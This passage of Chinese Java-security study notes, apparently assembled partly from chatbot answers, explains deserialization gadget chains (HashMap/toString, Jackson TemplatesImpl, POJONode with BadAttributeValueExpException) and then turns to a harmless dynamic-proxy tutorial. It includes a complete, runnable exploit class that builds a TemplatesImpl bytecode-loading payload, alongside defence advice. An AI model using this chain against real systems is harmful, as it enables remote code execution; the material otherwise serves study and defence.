`Evil`,就会执行 `Evil.toString()` 里的恶意代码。 - ---- - -**5. 最终效果** - -输出: - -``` -scssCopy code[*] toString 被调用,执行命令:calc.exe -[*] 打印 map2: {Evil(cmd=calc.exe)=value} -``` - -在真实攻击场景,`toString()` 里会调用: - -``` -javaCopy code -Runtime.getRuntime().exec("calc.exe"); -``` - -结果就是 **命令执行**。 - ---- - -**三、利用链总结** - -- **入口**:反序列化(`readObject`)。 -- **中间跳板**:`HashMap.toString()`。 -- **执行点**:`Evil.toString()` → 恶意代码。 - -**调用链示意图** - -``` -scssCopy codeObjectInputStream.readObject() - └── HashMap.readObject() (恢复结构) - └── 用户代码打印 map - └── HashMap.toString() - └── Evil.toString() --> 执行 Runtime.getRuntime().exec() -``` - ---- - -**四、为什么这有价值?** - -- 在很多应用中,**日志打印**是非常常见的。 -- 攻击者只需让应用打印反序列化后的对象,就能触发漏洞。 -- 类似场景还有:`hashCode`、`compareTo`,也可能被利用。 - -谁把 `Evil` 放进 `HashMap`? - -答案是:**攻击者自己就能在序列化阶段构造好**。 - -原因是: - -- Java 的序列化机制会把对象图(包括对象本身及其引用的对象)完整地写进字节流。 -- 所以攻击者完全可以在本地写一个小程序,自己创建 `HashMap`,再把 `Evil` 对象放进去,然后序列化成二进制数据。 -- 生成好的 payload(序列化字节流)就是攻击载荷,攻击者把它发送给目标系统。 - -例如(攻击者本地执行): - -``` -javaCopy codeEvil evil = new Evil("calc.exe"); -HashMap map = new HashMap<>(); -map.put(evil, "value"); - -ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin")); -oos.writeObject(map); -``` - -得到的 `payload.bin` 就是带有 `HashMap` 的序列化数据。 - ---- - -🔹 2. 被攻击系统需要做什么? - -在目标系统中,**只要出现以下场景之一**,就能触发攻击: - -1. **入口:反序列化** - - ``` - javaCopy codeObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); - Object obj = ois.readObject(); - ``` - - 这里 `obj` 会恢复成一个 `HashMap`,里面包含了攻击者的 `Evil` 对象。 - -2. **触发点:使用或打印 `HashMap`** - - - 如果系统代码里有: - - ``` - javaCopy codeSystem.out.println(obj); - logger.info("接收到的数据: {}", obj); - ``` - - 就会调用到 `HashMap.toString()` → 进一步调用 `Evil.toString()` → 执行恶意代码。 - - - 如果系统没直接打印,也可能在日志框架、调试工具、异常处理等地方间接调用 `toString()`。 - ---- - -🔹 3. 攻击者 vs 系统的分工 - -- **攻击者的责任**: - - 构造 payload(序列化数据流),里面嵌套 `HashMap`,再把 `Evil` 放进去。 - - 发送 payload 给目标系统。 -- **目标系统的责任(漏洞点)**: - - 反序列化了攻击者提供的不可信数据。 - - 并且在后续逻辑中调用了 `toString()`(或其他跳板方法,比如 `hashCode`、`equals`)。 - ---- - -🔹 4. 类比理解 - -这就像: - -- 攻击者寄了一份“陷阱包裹”(payload),里面藏了个机关(`Evil`)。 -- 系统收包裹时(反序列化)照单全收,毫无检查。 -- 当系统想要“看一眼包裹里面写了什么”(调用 `toString()` 打印日志)时,机关被触发,命令就执行了。 - -我会给你一个**抽象的例子**,来说明 `Jackson` + `TemplatesImpl` 的反序列化调用链是如何串起来的,并标明关键类和方法。 -注意:我不会提供可以直接利用的恶意 JSON 或字节码,只会展示调用链上的**类名 + 方法名**,这样既能帮助你理解机制,又不会变成现成的攻击 payload。 - ---- - -## Jackson反序列化漏洞示例场景 - -- 应用中错误地启用了 Jackson 的 **多态反序列化**(`enableDefaultTyping`)。 -- 攻击者传入精心构造的 JSON,其中包含 `TemplatesImpl` 对象以及一个触发调用的 gadget(比如 `PriorityQueue`)。 -- 反序列化时,Jackson 实例化对象、设置字段,最终触发 `TemplatesImpl` 的危险方法,导致恶意字节码执行。 - ---- - -**典型调用链(示意)** - -``` -scssCopy codecom.fasterxml.jackson.databind.ObjectMapper.readValue() - | - v -com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize() - | - v -com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet() - | - v -com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.() / setField() - | - v -java.util.PriorityQueue.readObject() - | - v -java.util.PriorityQueue.heapify() - | - v -java.util.PriorityQueue.siftDown() - | - v -java.util.Comparator.compare() - | - v -org.apache.commons.collections.functors.InvokerTransformer.transform() <-- 触发点(常见 gadget)或者使用getOutputProperties() - | - v -com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer() - | - v -com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance() - | - v -com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses() - | - v -java.lang.ClassLoader.defineClass() - | - v -<恶意类的 static 块 / 构造函数被执行> - | - v -任意代码执行 (RCE) -``` - ---- - -**链条关键节点解释** - -1. **`ObjectMapper.readValue()`** - - 入口:应用调用 Jackson 解析 JSON。 - - 问题:启用了 Default Typing,允许 JSON 指定任意类型。 -2. **`BeanDeserializer.deserialize()`** - - Jackson 根据 JSON 创建对象实例并填充属性。 - - 这一步可以构造 `TemplatesImpl` 并写入 `_bytecodes`。 -3. **`PriorityQueue.readObject()` → `heapify()` → `siftDown()`** - - PriorityQueue 在反序列化时会重新排序,调用 `compare()` 方法。 - - 攻击者放入的比较器 / Transformer 在这里被调用。 -4. **`InvokerTransformer.transform()`** - - 常见 gadget,调用任意方法。 - - 被用来调用 `TemplatesImpl.newTransformer()`。 -5. **`TemplatesImpl.newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`** - - 这里会加载 `_bytecodes` 并通过 `ClassLoader.defineClass()` 定义类。 - - 恶意类在加载时执行静态初始化块或构造器。 -6. **RCE** - - 恶意代码被执行,例如 `Runtime.getRuntime().exec("...")`。 - ---- - -**小结** - -- **危险点**:`TemplatesImpl` + Gadget(如 `PriorityQueue` + `InvokerTransformer`)。 - -- **触发路径**:Jackson → BeanDeserializer → 目标类(TemplatesImpl)→ Gadget 触发 → newTransformer → 字节码加载 → 恶意代码执行。 - -- 防护要点 - - : - - - 禁用 Jackson 默认多态 (`enableDefaultTyping`)。 - - 使用 **白名单反序列化策略**。 - - 避免引入包含已知 gadget 的库(如老版本 commons-collections)。 - - 升级 Jackson(新版本内置黑名单过滤)。 - ---- - -要不要我帮你画一个 **方法级时序图**(像 UML sequence diagram 一样),把 Jackson 反序列化调用到 TemplatesImpl 加载字节码的过程一步步串起来?这样比调用链更直观。 - -### getOutputProperties - -好 —— 下面我结合公开资料给你**具体说明 `TemplatesImpl#getOutputProperties()` 在利用链中的作用**,并列出典型的、经常出现在 PoC/ysoserial 等链子里的「类→方法」调用顺序。**我不会给出任何可直接利用的 payload 或字节码**,只是把调用逻辑和触发点明确化,方便你理解与防护。 - ---- - -**关键结论(先看要点)** - -- `TemplatesImpl#getOutputProperties()` 会**实例化一个 Transformer** 来读取输出属性;因此它会间接调用 `newTransformer()`/`getTransletInstance()`,从而**触发 `_bytecodes` 的类定义与类初始化**(即恶意字节码的加载与执行)。 -- 许多常见 gadget(例如 `BeanComparator`/`InvokerTransformer`、`PriorityQueue` 的比较流程等)会在反序列化/比较时调用 `getOutputProperties()` 或等价方法,从而把 `TemplatesImpl` 的类加载作为触发点。 - ---- - -**方法级调用链(以 `getOutputProperties()` 为触发点的常见链,按调用方向列出)** - -``` -scssCopy code(入口) Jackson/ObjectInputStream 反序列化 - ↓ -com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ←〔被反序列化并写入 _bytecodes 等字段〕 - ↓ TemplatesImpl.getOutputProperties() // JAXP Templates.getOutputProperties 实现 - 说明:为了得到 output properties,会实例化 Transformer(文档/实现明确这样做)。 - ↓ TemplatesImpl.newTransformer() - ↓ TemplatesImpl.getTransletInstance() - ↓ TemplatesImpl.defineTransletClasses() // 根据 _bytecodes 调用类加载相关逻辑 - ↓ java.lang.ClassLoader.defineClass(...) // JVM 定义类,随后执行 / 构造逻辑 - ↓ 恶意类的静态初始化或构造器执行 → 任意代码执行(RCE) -``` - -上面链条中任意一步若被其它 gadget(例如比较器、transformer)间接触发,就能在反序列化流程中被调用,从而完成触发。 - ---- - -**常见的「触发组合」示例(不含 payload,只列类/方法)** - -- 容器触发点(在反序列化时会调用比较/transform) - - `java.util.PriorityQueue.readObject()` → `heapify()` → `siftDown()` → 调用比较器的 `compare()`。攻击者可以把带有恶意行为的对象 / 比较器放入队列,触发比较时执行链。 -- 比较器 / Transformer gadget(常见于 ysoserial 等链) - - `org.apache.commons.collections.comparators.BeanComparator.compare()`(或使用 `BeansComparator`)→ 内部可能访问 bean 属性,从而触发 `TemplatesImpl.getOutputProperties()`。 - - `org.apache.commons.collections.functors.InvokerTransformer.transform()` → 通过反射调用任意方法(例如 `newTransformer()` / `getOutputProperties()`)。 -- **直接说明**:多个研究与漏洞报告都指出 `TemplatesImpl#getOutputProperties()` 被用作常见触发点(例如 ysoserial 的多个 gadget、某些 CVE 的利用链)。 - ---- - -**为什么 `getOutputProperties()` 会触发类加载(更详细的逻辑)** - -`TemplatesImpl#getOutputProperties()` 的 Javadoc/实现中写明:**“为了获得 output settings,需要实例化一个 translet(translet 即已编译的 XSLT 实现),所以会直接实例化一个 Transformer”**。实例化 Transformer 的实现路径会调用 `newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`,后者会把 `_bytecodes` 转为 JVM 类(`defineClass`)并初始化类(执行静态初始化块 ``),因此攻击者把恶意字节码写入 `_bytecodes` 并在合适触发点调用 `getOutputProperties()` 就会导致恶意代码运行。 - ---- - -**典型链上出现的方法/类(汇总)** - -- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()`(触发入口) -- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()`(创建 Transformer) -- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance()`(实例化 translet) -- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses()`(定义类) -- `java.lang.ClassLoader#defineClass(...)`(JVM 层定义类并触发 ``) -- Gadget / 触发容器类:`java.util.PriorityQueue.readObject()` → `heapify()` → `siftDown()`(比较时触发)citeturn0search17 -- 常用 gadget:`org.apache.commons.collections.functors.InvokerTransformer`、`org.apache.commons.collections.comparators.BeanComparator` / `CommonsBeanutils` 相关 comparator/transformer(用于把反序列化对象链入 invocation/compare)。 - ---- - -**防御/检测建议(结合上述触发点)** - -1. **禁用 Jackson 的默认多态反序列化**(不要使用 `enableDefaultTyping` 或只用严格白名单)。citeturn0search17 -2. **在反序列化入口加白名单/类型过滤器**:只允许显式 DTO、基础类型或已知安全类型。citeturn0search17 -3. **依赖审计**:识别并尽量移除或升级包含已知 gadget 的库(Commons-Collections、Commons-Beanutils、老版本 Xalan 等)。citeturn0search5turn0search16 -4. **运行时最小权限 & 沙箱**:尽可能以低权限运行 JVM,限制网络/文件操作,使用容器/进程隔离。 -5. **检测与日志**:监控异常的类加载、非预期的 `defineClass` 调用、或在运行时突然出现的外部进程调用迹象。 - -### POJONode#toString - -好 —— 我把 **`POJONode#toString()` 在 Jackson + `TemplatesImpl` 利用链** 中的**作用、原理和典型调用链**讲清楚,并给出一个安全(**不含任何可执行 exploit/payload**)的示例调用顺序,方便你把各个环节对齐理解。所有关键技术点都附上来源,便于你深入核验与防护。 - -> 先给结论:**`POJONode#toString()` 的“危险”并不是它自己去执行代码**,而是它在把内部包装的 POJO 转成字符串时会触发 Jackson 的 `writeValueAsString(...)` 路径 —— 那条路径会遍历 Bean 的属性并调用它们的 getter。若被包装的 POJO 是 `TemplatesImpl`(或其它能在 getter 中触发字节码加载/副作用的类),那这些 getter(例如 `getOutputProperties()` → `newTransformer()` → `getTransletInstance()`)就会被调用,最终可能导致类定义与初始化时的副作用(比如执行静态初始化/构造器中的命令)。citeturn0search2turn1search6 - ---- - -**1) 为什么 POJONode 会触发 getter 调用(核心思想)** - -- `POJONode` 是 Jackson 的一个 `JsonNode` 子类,用来“包装任意 POJO”作为树节点(它内部保存一个 Object)。当框架/代码调用 `toString()`(或把这个节点序列化成 JSON 字符串)时,Jackson 会把被包装的 POJO 当作普通 Bean 来序列化 —— 这会走到 `ObjectWriter.writeValueAsString(...)` → Bean 序列化器路径,序列化器会逐个调用 Bean 的 getter 来收集属性值。结果就是“包装对象的 getter 会被触发执行”。citeturn1search0turn1search3 -- 因为 `POJONode` 本身没有重写 `toString()`(或其实现由父类链路处理),调用 `toString()` 会最终走到把内部 POJO 转成 JSON 的逻辑(即 `writeValueAsString`),从而触发 Bean 序列化器(调用 getter)。这正是攻击链利用的切入点之一。citeturn0search0turn1search6 - ---- - -**2) 典型的触发场景(为什么会在反序列化链里被调用)** - -攻击链常把 `POJONode` 放进一个会在反序列化时或随后被 `toString()` 的容器/对象里(例如 `BadAttributeValueExpException.val`),或被其它类在 `readObject()` / 日志 / 错误处理里调用 `toString()`。当 JVM/应用在某处调用 `toString()`(例如异常消息、日志、序列化替换、或容器的序列化代理)时,POJONode 的序列化路径会触发包装对象的 getter。许多公开分析把 `BadAttributeValueExpException` 与 `POJONode` 组合当作触发器的示例。citeturn1search6turn0search2 - ---- - -**3) 逐步调用链(方法级、按执行顺序列出 — 仅方法/类名)** - -下面给出一个常见变体的 **方法级调用顺序**,把每步的“发生了什么”也写清楚。**注意:这里只是说明调用关系,不包含任何可执行 payload / 构造细节**。 - -1. `javax.management.BadAttributeValueExpException.toString()` - - 当 JVM/应用把该异常对象转字符串或写日志时,会调用其 `toString()`,而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`(即 `val.toString()`)。(这是一个常见“触发点”容器。)citeturn1search6 -2. `com.fasterxml.jackson.databind.node.POJONode.toString()`(或 POJONode 走到父类实现) - - `POJONode` 是包装 POJO 的 `JsonNode`,其 `toString()`/序列化实现会把内部 POJO 转为 JSON 字符串。若 `val` 就是 `POJONode`,`BadAttributeValueExpException.toString()` 会导致执行这里。citeturn1search0turn1search6 -3. `com.fasterxml.jackson.databind.util.InternalNodeMapper.nodeToString(...)`(实现细节,某版本内链) - - Jackson 内部会调用帮助方法把 `JsonNode` 转为字符串,这条链路会调到 ObjectWriter / ObjectMapper。不同版本类名略有差别,但核心是走到 `writeValueAsString`。citeturn1search6 -4. `com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(Object)`(或 `ObjectMapper.writeValueAsString`) - - 这是把任意 Java 对象序列化为 JSON 字符串的入口。对 POJO 的处理会选用 Bean 序列化器。citeturn1search2 -5. `com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(...)` → `BeanSerializer.serialize(...)` → `BeanSerializerBase.serializeFields(...)` → `BeanPropertyWriter.serializeAsField(...)` - - 这些方法负责遍历 Bean 的属性描述并调用对应的 getter(`Method.invoke`)来取得属性值并写入 JSON。也就是说,**序列化 Bean 会直接调用它的 getter 方法**。citeturn0search0turn1search6 -6. (若被包装的 POJO 是 `TemplatesImpl`)`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()`(或其它 getter)被调用 - - `getOutputProperties()` 会确保有一个 Transformer/translet 实例;该过程会走到 `newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`,而这些最终会触发加载 `_bytecodes` 并通过 `ClassLoader.defineClass(...)` 定义/初始化类(从而执行类的静态初始化 `` 或构造器中的副作用)。这就是为什么把 `TemplatesImpl` 作为 POJO 放入 POJONode 会很危险。citeturn0search2turn0search9 -7. `java.lang.ClassLoader.defineClass(...)` → JVM 执行类初始化(`` / 构造器) → **副作用发生(如命令执行等)**。citeturn0search2 - -(上面每一步都对应实际实现中的类/方法,可能随 Jackson 或 JDK 版本微调,但总体模式稳定:**POJONode → writeValueAsString → BeanSerializer → 调用 getter → TemplatesImpl 的 getter 导致类加载**。)citeturn1search6turn0search2 - ---- - -**4) 一个概念性(不可执行)示例调用栈(只读)** - -(便于画图或在审计里贴:) - -``` -scssCopy codeBadAttributeValueExpException.toString() - -> POJONode.toString() // POJONode 包装了一个 TemplatesImpl 实例 - -> InternalNodeMapper.nodeToString(...) / ObjectMapper.writeValueAsString(...) - -> DefaultSerializerProvider.serializeValue(...) - -> BeanSerializer.serialize(...) - -> BeanSerializerBase.serializeFields(...) - -> BeanPropertyWriter.serializeAsField(...) - -> invoke TemplatesImpl.getOutputProperties() - -> TemplatesImpl.newTransformer() - -> TemplatesImpl.getTransletInstance() - -> TemplatesImpl.defineTransletClasses() - -> ClassLoader.defineClass(...) - -> / constructor run (副作用) -``` - -(上面链条与前面解释一一对应 — 这就是 POJONode#toString 在链条中的“桥接”/入口作用。)citeturn0search2turn1search6 - ---- - -**5) 为什么攻击者喜欢用 POJONode(要点总结)** - -- `POJONode` 能包装“任意 POJO”,把危险的对象 *隐式* 放入 Jackson 的树结构里。 -- `BadAttributeValueExpException` 等 JDK 类在某些上下文会被自动 `toString()`,因此把 `POJONode` 放进这些容器可以把“字符串/序列化”流程当成触发器。citeturn1search6turn0search2 - ---- - -**6) 防护与检测建议(务实可行)** - -这些建议都是可在生产中落地的安全措施,能阻断或检测上面那条链条: - -1. **不要接受/处理不受信任的反序列化数据,也不要启用不受限的多态(Default Typing)**。Jackson 的 `enableDefaultTyping()` 已被标为不安全/弃用;若必须使用多态,使用 `PolymorphicTypeValidator` 白名单限制。citeturn2search4turn2search3 -2. **拒绝或过滤掉输入中包含类型指示(`@class` / `@type` / class names)或可疑字段(如 `_bytecodes` / `transletBytecodes` / base64 字节码)**,在把原始 JSON 交给 `ObjectMapper.readValue` 之前先用 `JsonNode` 做预检。citeturn2search6 -3. **在构建/CI 中检测“危险配置”**:查找代码库中是否存在 `enableDefaultTyping()`、`activateDefaultTyping(...)` 没有验证器参数的用法、或把 `Object` 当作反序列化目标。citeturn2search6 -4. **移除或升级含已知 gadget 的第三方库**(commons-collections、commons-beanutils、老版本 Xalan/某些管理类等),并做依赖树审计。citeturn0search5turn2search6 -5. **运行时限制与检测**:用最小权限运行 JVM(限制执行命令、限制文件写入/网络出口),并监控异常类加载、未预期的 `defineClass` 行为或异常外部进程启动。日志/入侵检测要覆盖到反序列化入口。citeturn2search6 - ---- - -**参考(你可以点进去看实现 / 深度分析)** - -- xz.aliyun 的分析(讲解 POJONode → writeValueAsString → getter 的链条与 POJONode 做为利用载体的机制)。citeturn0search0turn0search2 -- 多篇博客/文章对 `POJONode` 利用与 Jackson 序列化调用 getter 的讨论(含实现调用栈)。citeturn1search6turn0search4 -- Jackson 官方 Javadoc(POJONode、PolymorphicTypeValidator / activateDefaultTyping 的 API 文档)。citeturn1search0turn2search3 - -### 总结 - -> https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ - -**POJONode#toString():**内部保存对象(POJO),触发toString()时,Jackson 会把被包装的 POJO 当作普通 Bean 来序列化,序列化时会调用它保存对象的getter; - -作用:**触发toString()时,它的包装对象的 getter 会被触发执行,用来触发getOutputProperties的调用** - -**BadAttributeValueExpException.val:**BadAttributeValueExpException#readObject`,这是一个原生类,在`readObject`的时候会触发val`属性的 toString,当 JVM/应用把该异常对象转字符串或写日志时,会调用其 `toString()`,而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`(即 `val.toString()`)。(这是一个常见“触发点”容器。), - -作用:**把POJONode放到BadAttributeValueExpException的value字段,将其进行反序列化时,会触发value字段的toString(),也就是POJONode#toString()** - -所以这条链子反序列化的对象就是BadAttributeValueExpException - -### 完整样例代码和调用链 - -``` -BadAttributeValueExpException.toString() - | - v -POJONode.toString() - | - v -ObjectMapper.writeValueAsString(Object) - | - v -DefaultSerializerProvider.serializeValue() - | - v -BeanSerializer.serialize() - | - v -BeanSerializerBase.serializeFields() - | - v -BeanPropertyWriter.serializeAsField() - | - v -TemplatesImpl.getOutputProperties() <-- 调用触发点 - | - v -TemplatesImpl.newTransformer() - | - v -TemplatesImpl.getTransletInstance() - | - v -TemplatesImpl.defineTransletClasses() - | - v -ClassLoader.defineClass() <-- 加载恶意字节码并执行静态初始化块 - | - v -恶意代码执行(如命令执行,RCE) -``` - -``` -package com; - -import com.fasterxml.jackson.databind.node.POJONode; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -import javax.management.BadAttributeValueExpException; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.lang.reflect.Field; - -public class AliyunBypassIt { - - public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { - Field field = obj.getClass().getDeclaredField(fieldName); - field.setAccessible(true); - field.set(obj, value); - } - - public static void main(String[] args) throws Exception { - - try { - ClassPool pool = ClassPool.getDefault(); - CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); - CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); - jsonNode.removeMethod(writeReplace); - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - jsonNode.toClass(classLoader, null); - } catch (Exception e) { - } - - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest"); - CtClass clazzz = pool.get("EvilTest"); - byte[] code = clazzz.toBytecode(); - TemplatesImpl templates = new TemplatesImpl(); - setFieldValue(templates, "_bytecodes", new byte[][]{code}); - setFieldValue(templates, "_name", "HelloTemplatesImpl"); - setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); - - POJONode node = new POJONode(templates); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - setFieldValue(val, "val", node); - - ByteArrayOutputStream barr = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(barr); - oos.writeObject(val); - oos.close(); - - System.out.println(barr); - ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); - Object o = (Object) ois.readObject(); - } -} -``` - -# Java动态代理 - -https://liaoxuefeng.com/books/java/reflection/proxy/index.html - -**什么是 Java 动态代理(通俗讲)** - -动态代理就是在**运行时**动态生成一个“代理对象”,这个对象在外形上看起来像某个接口的实现(可以被当成目标接口使用),但它并不是真正的业务实现,而是把所有方法调用**转交给一个统一的处理器**(`InvocationHandler`)来处理。这个处理器可以在调用前后做额外事情(例如日志、权限校验、缓存、事务、远程调用等),然后决定是否并如何调用真实对象的对应方法。 - -**JDK 动态代理是:用一个实现接口的新类(代理类)拦截接口方法调用,并在 handler 中决定最终转发到哪个真实对象。这个真实对象可以是任何类实例,但代理本身永远是接口的代理** - -通俗比喻: -想象你在一家餐馆点菜,服务员(代理)把你的请求转给厨房(真实对象)。服务员可以在转达前先记下信息、检查你会员资格、记录日志、或直接返回一个缓存的菜。服务员是动态创建的,但对你来说就是那个“会服务”的人。 - ---- - -**JDK 动态代理的关键点(要记住的)** - -- JDK 的动态代理基于 `java.lang.reflect.Proxy` 和 `InvocationHandler`。 -- 它**只能为接口创建代理**(代理类在运行时实现了这些接口)。如果你需要代理类而非接口(如对具体类代理),通常用 CGLIB / ByteBuddy 等库。 -- 典型用途:AOP(横切关注点)、RPC 桩、日志/监控、权限/校验、mock 单元测试等。 - ---- - -**简单示例:用动态代理给方法加日志(完整可运行)** - -下面的例子包含: - -1. 一个接口 `GreetingService` 和其真实实现 `GreetingServiceImpl`。 -2. 一个 `LoggingInvocationHandler`,把方法调用记录日志并委托给真实对象。 -3. 使用 `Proxy.newProxyInstance(...)` 创建代理,并演示调用链。 - -``` -javaCopy code// File: DynamicProxyDemo.java -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Method; -import java.lang.reflect.Proxy; - -// 1) 接口 -public interface GreetingService { - String greet(String name); -} - -// 2) 真实实现 -class GreetingServiceImpl implements GreetingService { - @Override - public String greet(String name) { - return "Hello, " + name; - } -} - -// 3) InvocationHandler:所有代理方法调用都会来到这里 -class LoggingInvocationHandler implements InvocationHandler { - private final Object target; - - public LoggingInvocationHandler(Object target) { - this.target = target; - } - - // method: 被调用的方法;args: 方法参数 - @Override - public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { - // 在调用前做点事 - System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + (args != null ? java.util.Arrays.toString(args) : "[]")); - - // 可以做权限校验、缓存判断、远程调用替换等 - // 这里我们把调用转发给真实对象 - Object result = method.invoke(target, args); - - // 在调用后做事 - System.out.println("[LOG] 方法返回: " + result); - return result; - } -} - -// 4) 演示创建代理并调用 -public class DynamicProxyDemo { - public static void main(String[] args) { - GreetingService real = new GreetingServiceImpl(); - - // 创建代理实例(指定类加载器、代理要实现的接口、以及 InvocationHandler) - GreetingService proxy = (GreetingService) Proxy.newProxyInstance( - GreetingService.class.getClassLoader(), - new Class[]{GreetingService.class}, - new LoggingInvocationHandler(real) - ); - - // 调用代理的方法 —> 实际上会进入 LoggingInvocationHandler.invoke(...) - String s = proxy.greet("Alice"); - System.out.println("最终结果: " + s); - } -} -``` - -运行输出(示例): - -``` -lessCopy code[LOG] 调用方法: greet, 参数: [Alice] -[LOG] 方法返回: Hello, Alice -最终结果: Hello, Alice -``` - ---- - -**调用链(call chain)** - -下面从 **整体调用流程(调用链)** 与 **每个步骤的执行逻辑** 两个角度,对你提供的代码进行深入分析。为了让你能清晰看到 *方法从 main → proxy → handler → real object → 返回* 的完整路径,我会以“事件时序图式”方式拆开。 - ---- - -## ✅ 一、整体调用链(从 main 开始) - -调用链如下: - -
cpp
main() - └── proxy.greet("Alice") - └── JDK 动态代理机制触发 InvocationHandler.invoke() - └── LoggingInvocationHandler.invoke(proxy, greet, ["Alice"]) - ├── 前置日志打印 - ├── 调用真实对象方法:method.invoke(target, args) - │ └── GreetingServiceImpl.greet("Alice") - │ └── 返回 "Hello, Alice" - ├── 后置日志打印 - └── 返回 "Hello, Alice" - └── main() 接收到返回值 -
- - ---- - -## ✅ 二、详细执行逻辑(逐行解析) - -以下按代码执行顺序,拆解整个调用过程。 - ---- - -### **1. main 方法启动** - -
java
GreetingService real = new GreetingServiceImpl(); -
- - -创建真实对象 `GreetingServiceImpl`,用来作为代理的目标。 -**因为 JDK 动态代理只拦截“对代理对象的接口方法调用”,它本身不具有业务逻辑,因此必须有一个真实对象作为“被代理的目标对象”,由 InvocationHandler 在适当时机调用它来完成真正的业务行为。代理类自己没有真正实现 greet() 的业务逻辑,除非你在 invoke() 里把整个方法逻辑自己写一遍** - ---- - -### **2. 通过 Proxy.newProxyInstance 创建代理对象** - -
java
GreetingService proxy = (GreetingService) Proxy.newProxyInstance( - GreetingService.class.getClassLoader(), - new Class[]{GreetingService.class}, - new LoggingInvocationHandler(real) -); -
- - -#### 🚩 此行发生三件事: - ---- - -#### **① 生成代理类(JDK 自动生成字节码)** - -JDK 动态代理会在运行时生成一个 **实现 GreetingService 接口** 的代理类(记为 `$Proxy0`)。 - -你永远不会看到它的源码,但它大概长这样: - -
java
public final class $Proxy0 implements GreetingService { - private InvocationHandler h; - - - public $Proxy0(InvocationHandler h) { - this.h = h; - } - - @Override - public String greet(String name) { - return (String) h.invoke(this, GreetingService.class.getMethod("greet", String.class), new Object[]{name}); - } - -} -
- -#### **② 实例化代理对象 proxy** - -得到 `proxy`,它其实是 `$Proxy0` 的实例。 - -#### **③ 绑定 InvocationHandler** - -`new LoggingInvocationHandler(real)` 意味着 ​**所有方法调用都会被转发到该 handler 的 invoke() 方法**​。 - ---- - -#### **3. 调用代理的方法:proxy.greet("Alice")** - -
java
String s = proxy.greet("Alice"); -
- - -注意!这里调用的是 **代理对象** 的 `greet`,不是 `GreetingServiceImpl` 的。 - -于是进入代理类 `$Proxy0.greet()`(JDK 生成的代码)。 - -****这里 `greet()` 调用的是 ​**“接口 GreetingService 中声明的 greet 方法”**​, -不是“实现类 GreetingServiceImpl 中的方法”。因此实现的是拦截接口方法调用****** - ---- - -#### **4. $Proxy0.greet() 内部:调用 InvocationHandler.invoke()** - -JDK 动态代理的核心行为: - -
java
h.invoke(this, methodGreet, new Object[]{"Alice"}); -
- - -即: - -
cpp
→ 调用 LoggingInvocationHandler.invoke() -
- - ---- - -## ✅ 三、InvocationHandler.invoke() 的完整执行流程 - -
java
@Override -public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { - System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + Arrays.toString(args)); - - - Object result = method.invoke(target, args); // 调用真实对象的方法 - - System.out.println("[LOG] 方法返回: " + result); - return result; - -} -
- -### 步骤: - ---- - -### **① 打印前置日志** - -
less
[LOG] 调用方法: greet, 参数: [Alice] -
- - ---- - -### **② 通过反射调用真实对象的方法** - -
java
Object result = method.invoke(target, args); -
- - -即: - -
python
→ 调用 GreetingServiceImpl.greet("Alice") -
- - -真实对象返回: - -
python
"Hello, Alice" -
- - ---- - -### **③ 打印后置日志** - -
csharp
[LOG] 方法返回: Hello, Alice -
- - ---- - -### **④ 将返回值交回给代理(进而回到 main)** - -`invoke` 返回 `"Hello, Alice"`。 - ---- - -## ✅ 四、控制流回到 main - -
java
System.out.println("最终结果: " + s); -
- - -输出: - -
makefile
最终结果: Hello, Alice -
- - -至此调用链完整结束。 - ---- - -## 🎯 五、调用链总结(图示) - -
scss
main() - └── proxy.greet("Alice") - └── $Proxy0.greet("Alice") ← JDK 生成 - └── LoggingInvocationHandler.invoke(...) - ├── 日志打印 - ├── 调用真实对象 GreetingServiceImpl.greet() - ├── 后置日志 - └── 返回结果 - └── main() 输出结果 -
